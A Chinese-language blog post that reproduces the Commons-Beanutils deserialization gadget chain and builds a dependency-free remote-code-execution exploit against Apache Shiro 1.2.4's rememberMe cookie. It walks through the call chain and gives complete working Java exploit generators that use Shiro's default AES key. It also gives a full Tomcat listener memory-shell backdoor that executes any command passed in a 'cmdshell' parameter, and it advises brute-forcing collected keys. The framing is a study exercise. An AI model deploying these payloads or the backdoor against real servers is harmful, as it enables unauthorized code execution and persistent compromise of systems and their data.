• 从commons-beanutils反序列化到shiro无依赖的漏洞利用


    0 前言

    其实shiro的反序列化过程看过,原理也理解,就是没空复现一遍,正好学习ysoserial序列化系列学习之一Commons-Beanutils,复现一下shiro无其它依赖的命令执行。

    1 环境

    jdk 1.8u40

    commons-beanutils

    <dependency>
        <groupId>commons-beanutils</groupId>
        <artifactId>commons-beanutils</artifactId>
        <version>1.8.3</version>
    </dependency>
    

    javassist

    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.21.0-GA</version>
    </dependency>
    

    shiro: https://github.com/phith0n/JavaThings/tree/master/shirodemo

    shiro版本:1.2.4

    2 commons-beanutils反序列化链

    先上代码

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.beanutils.BeanComparator;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    
    public class CommonsBeanutils {
        // 修改值的方法,简化代码
        public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        }
    
        public static void main(String[] args) throws Exception {
            // 创建恶意类,用于报错抛出调用链
            ClassPool pool = ClassPool.getDefault();
            CtClass payload = pool.makeClass("EvilClass");
            payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
            payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
    //        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
            byte[] evilClass = payload.toBytecode();
    
            // set field
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
            setFieldValue(templates, "_name", "test");
            setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
    
            // 创建序列化对象
            BeanComparator beanComparator = new BeanComparator();
            PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
            queue.add(1);
            queue.add(1);
    
            // 修改值
            setFieldValue(beanComparator, "property", "outputProperties");
            setFieldValue(queue, "queue", new Object[]{templates, templates});
    
            // 反序列化
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
            out.writeObject(queue);
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
            in.readObject();
    
        }
    }
    

    2.1 TemplatesImple调用链

    这里就不详细展开了,前面的文章里面有详细的描述:https://www.cnblogs.com/bitterz/p/15263152.html#倒序分析

    大致的调用链是:

    TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
    

    实际的操作是TemplatesImpl对象中的_bytecodes数组中的字节码,会被遍历并使用ClassLoader#defineClass加载到jvm中,而后返回一个类对象,并被调用无参构造方法,我们的payload在无参构造方法里插入了恶意代码,从而实现RCE。

    2.2 PriorityQueue调用链

    执行前面的代码后,看到如下调用链:

    at EvilClass.<clinit>(EvilClass.java)
    ...不重要,省略
    at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
    at java.lang.Class.newInstance(Class.java:442)
    at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:387)
    at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:418)
    at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:439)
    ...不重要,省略
    at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2155)
    at org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(PropertyUtilsBean.java:1323)
    at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:762)
    at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:837)
    at org.apache.commons.beanutils.PropertyUtils.getProperty(PropertyUtils.java:426)
    at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:157)
    at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)
    at java.util.PriorityQueue.siftDown(PriorityQueue.java:687)
    at java.util.PriorityQueue.heapify(PriorityQueue.java:736)
    at java.util.PriorityQueue.readObject(PriorityQueue.java:795)
    

    可见,字节码被反序列化时,PriorityQueue#readObject方法会被调用,代码如下

    • PriorityQueue#readObject
    private void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();
        // Read in (and discard) array length
        s.readInt();
        queue = new Object[size];
        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }
    

    其实没有什么特别的操作,跟进PriorityQueue#heapify即可

    • PriorityQueue#heapify
    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }
    

    此时i不重要,queue[i]=templates恶意对象,也没有太多可以说的点,因为priorityQueue对象中只保存了两个templates对象,所以继续跟进PriorityQueue#siftDown即可

    • PriorityQueue#siftDown
    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }
    

    此时x=templates恶意对象,这里很明显,由于priorityQueue对象创建时,我们传入了对应的comparator对象,所以comparator != null,进入PriorityQueue#siftDownUsingComparator

    • PriorityQueue#siftDownUsingComparator
    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)   // 由于if语句中使用and时,最短判断原则,当right>size时,不会执行这个compare
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)  // 这个compare方法一定会执行
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }
    

    此时x=templates恶意对象,到这里,实际上PriorityQueue的调用链就清晰了,主要是从readObject会执行到comparator.compare()方法,由于我们给定了PriorityQueue的comparator这个成员变量为BeanComparator,所以需要跟进BeanComparator.compare方法

    2.3 BeanComparator

    直接看代码

    • BeanComparator#compare
    public int compare( Object o1, Object o2 ) {
        if ( property == null ) {
            // compare the actual objects
            return comparator.compare( o1, o2 );
        }
    
        try {
            Object value1 = PropertyUtils.getProperty( o1, property );
            Object value2 = PropertyUtils.getProperty( o2, property );
            return comparator.compare( value1, value2 );
        }
        catch ( IllegalAccessException iae ) {
            throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
        } 
        catch ( InvocationTargetException ite ) {
            throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
        }
        catch ( NoSuchMethodException nsme ) {
            throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
        } 
    }
    

    我们的代码中,反射修改了BeanComparator的property属性为"outputProperties",即property="outputProperties",所以进入try代码块,之前从PriorityQueue传进来的变量o1=templates恶意对象,而PropertyUtils.getProperty方法也比较简单,就是获取指定的属性,跟进一下

    • PropertyUtils#getProperty
    public static Object getProperty(Object bean, String name)throws IllegalAccessException, InvocationTargetException,            NoSuchMethodException {
            return (PropertyUtilsBean.getInstance().getProperty(bean, name));
    
    }
    

    注意此时bean=templates,name="outputProperties",需要跟进PropertyUtilsBean#getProperty方法

    • PropertyUtilsBean#getProperty
    public Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
            return (getNestedProperty(bean, name));
    }
    

    此时bean=templates,name="outputProperties",继续跟进

    • PropertyUtilsBean#getNestedProperty
    public Object getNestedProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
    
        if (bean == null) {
            throw new IllegalArgumentException("No bean specified");
        }
        if (name == null) {
            throw new IllegalArgumentException("No name specified for bean class '" +
                                               bean.getClass() + "'");
        }
    
        // Resolve nested references
        while (resolver.hasNested(name)) {
            // 不关键代码
        }
    
        if (bean instanceof Map) {
            bean = getPropertyOfMapBean((Map) bean, name);
        } else if (resolver.isMapped(name)) {
            bean = getMappedProperty(bean, name);
        } else if (resolver.isIndexed(name)) {
            bean = getIndexedProperty(bean, name);
        } else {
            bean = getSimpleProperty(bean, name);
        }
        return bean;
    
    }
    

    此时bean=templates,name="outputProperties",要过while循环,判断语句中resolver是DefaultResolver类的实例,跟进其中的hasNested方法即可,比较简单就不贴代码了,返回值为false,所以不进入while循环,直接进入下面if else代码块,由于bean=templates所以if和else if判断都是false,进入else代码块,执行PropertyUtilsBean#getSimpleProperty

    • PropertyUtilsBean#getSimpleProperty
    public Object getSimpleProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException,             NoSuchMethodException {
    
        // 省略
        // Handle DynaBean instances specially
        if (bean instanceof DynaBean) {
            // 省略
        }
    
        // Retrieve the property getter method for the specified property
        PropertyDescriptor descriptor = getPropertyDescriptor(bean, name);  // 关键点1和上方的注释
        if (descriptor == null) {
            throw new NoSuchMethodException("Unknown property '" +
                                            name + "' on class '" + bean.getClass() + "'" );
        }
        Method readMethod = getReadMethod(bean.getClass(), descriptor);  // 关键点2
        if (readMethod == null) {
            throw new NoSuchMethodException("Property '" + name +
                                            "' has no getter method in class '" + bean.getClass() + "'");
        }
    
        // Call the property getter and return the value
        Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY); // 进入TemplatesImpl#getOutputProperties()调用链
        return (value);
    
    }
    

    这个方法中有三个关键点,第一个是调用getPropertyDescriptor方法获取属性的getter方法,从上面的英文注释就可以看到,当然具体代码也可以看到methodName="get"+name的操作。然后后getReadMethod方法获取TemplatesImpl#getOutputProperties这个method对象,然后进入invokeMethod方法,执行TemplatesImpl#getOutputProperties调用链,触发恶意代码。

    3 Shiro无依赖paylaod

    前面的commons-beanutils反序列化链看起来似乎只依赖了一个Commons-Beanutils依赖,但实际上打开org.apache.commons.beanutils.BeanComparator的源代码,看到里面存在:import org.apache.commons.collections.comparators.ComparableComparator;,而ComparableComparator来自于commons-collections。

    这些依赖会导致一个问题,shiro必须使用Commons-Beanutils这个依赖,但不需要Commons-Collections,因为shiro只需要用到Commons-Beanutils中的一些类,不涉及Commons-Collections,因此前面的利用链会直接失效,我们需要对BeanComparator中的comparator属性修改为jdk自带的类,从而避免依赖问题。

    shiro的反序列化漏洞原理就不详细展开了(其实也就是获取rememberMe字段的值,然后base64解码,再aes解码,然后执行readObject反序列化),网上资料很多,我这里使用的环境来自于shirodemo,导入idea后,然后启动项目,在login.jsp页面勾选rememberMe,使用burp抓包,在cookie里面添加"rememberMe=payload;" ,注意分号;

    获取payload的代码如下

    package com.bitterz.stream;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.beanutils.BeanComparator;
    import org.apache.shiro.crypto.AesCipherService;
    import org.apache.shiro.util.ByteSource;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    
    
    public class CommonsBeanutilsShiro {
        // 反射修改field,统一写成函数,方便阅读代码
        public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        }
    
        // 获取攻击链序列化后的byte数组
        public static byte[] getPayload() throws Exception {
            // 创建恶意类,用于报错抛出调用链
            ClassPool pool = ClassPool.getDefault();
            CtClass payload = pool.makeClass("EvilClass");
            payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
            // 看shiro调用链用这个
    		// payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
            
            payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
            byte[] evilClass = payload.toBytecode();
    
            // set field
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
            setFieldValue(templates, "_name", "test");
            setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
    
            // 创建序列化对象
            BeanComparator beanComparator = new BeanComparator();
            PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
            queue.add(1);
            queue.add(1);
    
            // 修改值
            setFieldValue(beanComparator, "property", "outputProperties");
            setFieldValue(queue, "queue", new Object[]{templates, templates});
    
            // 反序列化
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    
            ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
            out.writeObject(queue);
            out.close();
            return byteArrayOutputStream.toByteArray();
        }
    
        public static void main(String[] args) throws Exception {
            byte[] payloads = CommonsBeanutilsShiro.getPayload();
    
            AesCipherService aes = new AesCipherService();
            byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
    		// 为shiro 1.2.4默认密钥,详情见AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES属性
            ByteSource ciphertext = aes.encrypt(payloads, key);
            // 由于继承关系,encrypt实际调用的是JcaCipherService#encrypt
            // 跟进代码后发现实际返回的是ByteSource接口的实现类——SimpleByteSource类,其toString方法会自动对byte数组进行base64编码
            System.out.printf(ciphertext.toString());
        }
    }
    

    执行代码,获取shiro反序列化攻击的payload,如前面说的一样,加入到cookie中,发送payload

    成功弹出计算器,但是我们修改pom.xml,注释掉commons-collections的依赖,然后重启项目,就会发现之前的payload会报错:

    Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.
    

    这里也就很明显触发了前面提到的问题,shiro一定依赖与commons-beanutils,但Web应用不一定依赖commons-collections,那么我们应该如何修正呢?

    首先是BeanComparator的几个构造方法:

    • BeanComparator的构造方法
    public class BeanComparator implements Comparator, Serializable {
        private String property;
        private Comparator comparator;
    
        public BeanComparator() {  // 构造方法1
            this( null );
        }
    
        public BeanComparator( String property ) {  // 构造方法2
            this( property, ComparableComparator.getInstance() );
        }
    
        public BeanComparator( String property, Comparator comparator ) { // 构造方法3
            setProperty( property );
            if (comparator != null) {
                this.comparator = comparator;
            } else {
                this.comparator = ComparableComparator.getInstance();
            }
        }
    }
    

    可以看到,想要不使用ComparableComparator这个类,必须在构造方法3处给入comparator参数,由于comparator必须存在,但具体什么类型并不影响后面的调用链,所以给进去的这个类要满足三个条件即可:

    • 实现java.util.Comparator接口
    • 实现java.io.Serializable接口
    • Java、shiro或commons-beanutils自带,且兼容性强

    这里直接用一下大佬给出的两个类:

    • String.CASE_INSENSITIVE_ORDER获取运行环境中的CaseInsensitiveComparator类
    • java.util.Collections$ReverseComparator

    CaseInsensitiveComparator

    利用这两个类,对前面的代码稍加修改

    package com.bitterz.stream;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.beanutils.BeanComparator;
    import org.apache.shiro.crypto.AesCipherService;
    import org.apache.shiro.util.ByteSource;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    import java.util.Collections;
    
    
    
    public class CommonsBeanutilsShiro {
        // 反射修改field,统一写成函数,方便阅读代码
        public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        }
    
        // 获取攻击链序列化后的byte数组
        public static byte[] getPayload() throws Exception {
            // 创建恶意类,用于报错抛出调用链
            ClassPool pool = ClassPool.getDefault();
            CtClass payload = pool.makeClass("EvilClass");
            payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
            // 看shiro调用链用这个
    		// payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
            payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
            byte[] evilClass = payload.toBytecode();
    
            // set field
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
            setFieldValue(templates, "_name", "test");
            setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
    
            // 创建序列化对象
            BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);  // **修改点1**
            PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
            queue.add("1");  // **修改点2**
            queue.add("1");
    
            // 修改值
            setFieldValue(beanComparator, "property", "outputProperties");
            setFieldValue(queue, "queue", new Object[]{templates, templates});
    
            // 反序列化
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
            out.writeObject(queue);
            out.close();
            return byteArrayOutputStream.toByteArray();
        }
    
        public static void main(String[] args) throws Exception {
            byte[] payloads = CommonsBeanutilsShiro.getPayload();
    
            AesCipherService aes = new AesCipherService();
            byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
            // 为shiro 1.2.4默认密钥,详情见AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES属性
            ByteSource ciphertext = aes.encrypt(payloads, key);
            // 由于继承关系,encrypt实际调用的是JcaCipherService#encrypt
            // 跟进代码后发现实际返回的是ByteSource接口的实现类——SimpleByteSource类,其toString方法会自动对byte数组进行base64编码
            System.out.printf(ciphertext.toString());
        }
    }
    

    修改后,在无commons-collections的情况下再来一次

    成功弹出计算器!如果想看shiro反序列化利用链的完整调用栈,可以把代码中的恶意代码改一下,上面的代码中已经给出了,操作一下就出来了。

    java.util.Collections$ReverseComparator

    先看看这个类相关的源码

    package java.util;
    public class Collections{
        public static <T> Comparator<T> reverseOrder() {  // 直接调用这里
            return (Comparator<T>) ReverseComparator.REVERSE_ORDER;  
        }
        
        private static class ReverseComparator implements Comparator<Comparable<Object>>, Serializable {
            static final ReverseComparator REVERSE_ORDER = new ReverseComparator();
        }
    }
    

    可以看到直接调用Collections#reverseOrder方法即可获得该类对象,因此对前面的payload稍加更改即可实现无依赖的shiro反序列化

    //修改CommonsBeanutilsShiro类代码
    
    BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());  // 修改一下这里就可以
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
    

    修改之后再打一次,成功弹计算器

    4 总结

    4.1 shiro反序列化的注意事项

    由于shiro反序列化需要用到AES加密,而该加密方法的密钥是加解密一致的,所以我们使用shiro反序列化时,AES加密的密钥必须跟服务器一致,所以经常需要盲猜服务器的密钥,好在java开发们一般都不会去修改它,而且常常直接copy论坛和github上的代码,所以可以大量收集各种密钥,然后遍历来完成反序列化漏洞利用。

    好在也有很多可以直接上手用的扫描或利用工具,例如xrayhttps://github.com/feihong-cs/ShiroExploit-Deprecated、https://github.com/sv3nbeast/ShiroScan、https://github.com/j1anFen/shiro_attack

    4.2 shiro反序列化利用--注入内存马

    由于shiro作用于中间件的filter环节,所以servlet内存马在访问阶段就被shiro干掉了,不能用。因此必须写入filter内存马,并将其放在shiro的filter前面,以便访问和利用;另外,也可以写入listener内存马,不需要操心filter顺序问题,但可能会影响服务器性能。

    这里以listener内存马实验一下,首先是listener内存马部分,编译的话,需要添加tomcat/lib目录下的jar包

    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import org.apache.catalina.core.StandardContext;
    import org.apache.catalina.core.StandardEngine;
    import org.apache.catalina.core.StandardHost;
    import javax.servlet.*;
    import java.io.IOException;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Iterator;
    
    public class Add extends AbstractTranslet implements ServletRequestListener {
        String uri;
        String serverName;
        StandardContext standardContext;
        String pwd = "cmdshell";   // 内存马的密码
        
        public Object getField(Object object, String fieldName) {
            Field declaredField;
            Class clazz = object.getClass();
            while (clazz != Object.class) {
                try {
    
                    declaredField = clazz.getDeclaredField(fieldName);
                    declaredField.setAccessible(true);
                    return declaredField.get(object);
                } catch (NoSuchFieldException e){}
                catch (IllegalAccessException e){}
                clazz = clazz.getSuperclass();
            }
            return null;
        }
    
        public Add(String aaa){}
    
        public Add() {
    
            Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
            Object object;
            for (Thread thread : threads) {
    
                if (thread == null) {
                    continue;
                }
                if (thread.getName().contains("exec")) {
                    continue;
                }
                Object target = this.getField(thread, "target");
                if (!(target instanceof Runnable)) {
                    continue;
                }
    
                try {
                    object = getField(getField(getField(target, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    continue;
                }
    
                if (object == null) {
                    continue;
                }
    
                java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
                Iterator iterator = processors.iterator();
                while (iterator.hasNext()) {
                    Object next = iterator.next();
    
                    Object req = getField(next, "req");
                    Object serverPort = getField(req, "serverPort");
                    if (serverPort.equals(-1)){continue;}
                    org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                    this.serverName = (String) getField(serverNameMB, "strValue");
                    if (this.serverName == null){
                        this.serverName = serverNameMB.toString();
                    }
                    if (this.serverName == null){
                        this.serverName = serverNameMB.getString();
                    }
    
                    org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                    this.uri = (String) getField(uriMB, "strValue");
                    if (this.uri == null){
                        this.uri = uriMB.toString();
                    }
                    if (this.uri == null){
                        this.uri = uriMB.getString();
                    }
    
                    this.getStandardContext();
                }
            }
    
            if (this.standardContext != null){
                try {
                    Add addListener = new Add("aaa");
                    standardContext.addApplicationEventListener(addListener);
                }catch (Exception e){e.printStackTrace();}
            }
        }
    
    
    
        public void getStandardContext() {
            Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
            for (Thread thread : threads) {
                if (thread == null) {
                    continue;
                }
                if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
    
                    Object target = this.getField(thread, "target");
                    HashMap children;
                    Object jioEndPoint = null;
                    try {
                        jioEndPoint = getField(target, "this$0");
                    }catch (Exception e){}
                    if (jioEndPoint == null){
                        try{
                            jioEndPoint = getField(target, "endpoint");
                        }catch (Exception e){ return; }
                    }
                    Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                    StandardEngine engine = null;
                    try {
                        engine = (StandardEngine) getField(service, "container");
                    }catch (Exception e){}
                    if (engine == null){
                        engine = (StandardEngine) getField(service, "engine");
                    }
    
                    children = (HashMap) getField(engine, "children");
                    StandardHost standardHost;
                    standardHost = (StandardHost) children.get(this.serverName);
                    if(standardHost == null){
                        Iterator iterator = children.values().iterator();
                        while (iterator.hasNext()){
                            standardHost = (StandardHost) iterator.next();
                            if (standardHost.getName().equals(this.serverName)){
                                break;
                            }
                            if (standardHost.getName().equals("localhost")) {
                                break;
                            }
                        }
                    }
                    try{
                        children = (HashMap) getField(standardHost, "children");
    
                        Iterator iterator = children.keySet().iterator();
                        while (iterator.hasNext()){
                            String contextKey = (String) iterator.next();
                            if (!(this.uri.startsWith(contextKey))){continue;}
                            StandardContext standardContext = (StandardContext) children.get(contextKey);
                            this.standardContext = standardContext;
                        }
                    }catch (Exception e){
                        e.printStackTrace();
                    }
                }
            }
        }
    
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    
        public void Add(String aaa){}
    
    
        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
    
        }
    
        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            String cmdshell = sre.getServletRequest().getParameter(this.pwd);
            if (cmdshell != null) {
                try {
                    Runtime.getRuntime().exec(cmdshell);
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
    

    然后是构造shiro反序列化利用payload的部分

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.CtConstructor;
    import javassist.CtNewConstructor;
    import net.dongliu.commons.Sys;
    import org.apache.commons.beanutils.BeanComparator;
    import org.apache.shiro.crypto.AesCipherService;
    import org.apache.shiro.util.ByteSource;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    import java.util.Collections;
    
    public class CommonsBeanutilsShiro {
        // 反射修改field,统一写成函数,方便阅读代码
        public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        }
    
        // 获取攻击链序列化后的byte数组
        public static byte[] getPayload() throws Exception {
    
            // 创建恶意类,用于报错抛出调用链
    
            ClassPool pool = new ClassPool(true);
            pool.appendClassPath("C:\Users\helloworld\Desktop\java learn\spring_mvc\spring_mvc\spring_mvc\target\classes\");  // 前面Add类编译出来的Add.class的路径
    
            CtClass payload = pool.get("Add");
    
    
            byte[] evilClass = payload.toBytecode();
    
            // set field
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
            setFieldValue(templates, "_name", "test");
            setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
    
            // 创建序列化对象
    //        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
            BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());
            PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
            queue.add("1");
            queue.add("1");
    
            // 修改值
            setFieldValue(beanComparator, "property", "outputProperties");
            setFieldValue(queue, "queue", new Object[]{templates, templates});
    
            // 反序列化
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream out1 = new ObjectOutputStream(byteArrayOutputStream);
            out1.writeObject(queue);
            out1.close();
            return byteArrayOutputStream.toByteArray();
        }
    
        public static void main(String[] args) throws Exception {
            byte[] payloads = CommonsBeanutilsShiro.getPayload();
    
            AesCipherService aes = new AesCipherService();
            byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
            // 为shiro 1.2.4默认密钥,详情见AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES属性
            ByteSource ciphertext = aes.encrypt(payloads, key);
            // 由于继承关系,encrypt实际调用的是JcaCipherService#encrypt
            // 跟进代码后发现实际返回的是ByteSource接口的实现类——SimpleByteSource类,其toString方法会自动对byte数组进行base64编码
            System.out.printf(ciphertext.toString());
        }
    }
    

    执行CommonsBeanutilsShiro#main方法,获得payload,用burp发包,这里都比较简单就不截图了,来看看效果:

    在/shirodemo/这个uri下,输入任意路径,加参数cmdshell,即可执行命令,由于shiro的作用,执行后又会自动跳到登录页面


    作者:bitterz
    本文版权归作者和博客园所有,欢迎转载,转载请标明出处。
    如果您觉得本篇博文对您有所收获,请点击右下角的 [推荐],谢谢!
  • 相关阅读:
    react常用的方法
    react手动搭建
    js基础
    原生JavaScript实例之简单放大镜
    ||与&&的返回值
    promise简单小结
    连接服务器一般步骤
    github小总结
    __proto__指向问题
    一些函数返回值
  • 原文地址:https://www.cnblogs.com/bitterz/p/15401105.html
Copyright © 2020-2023  润新知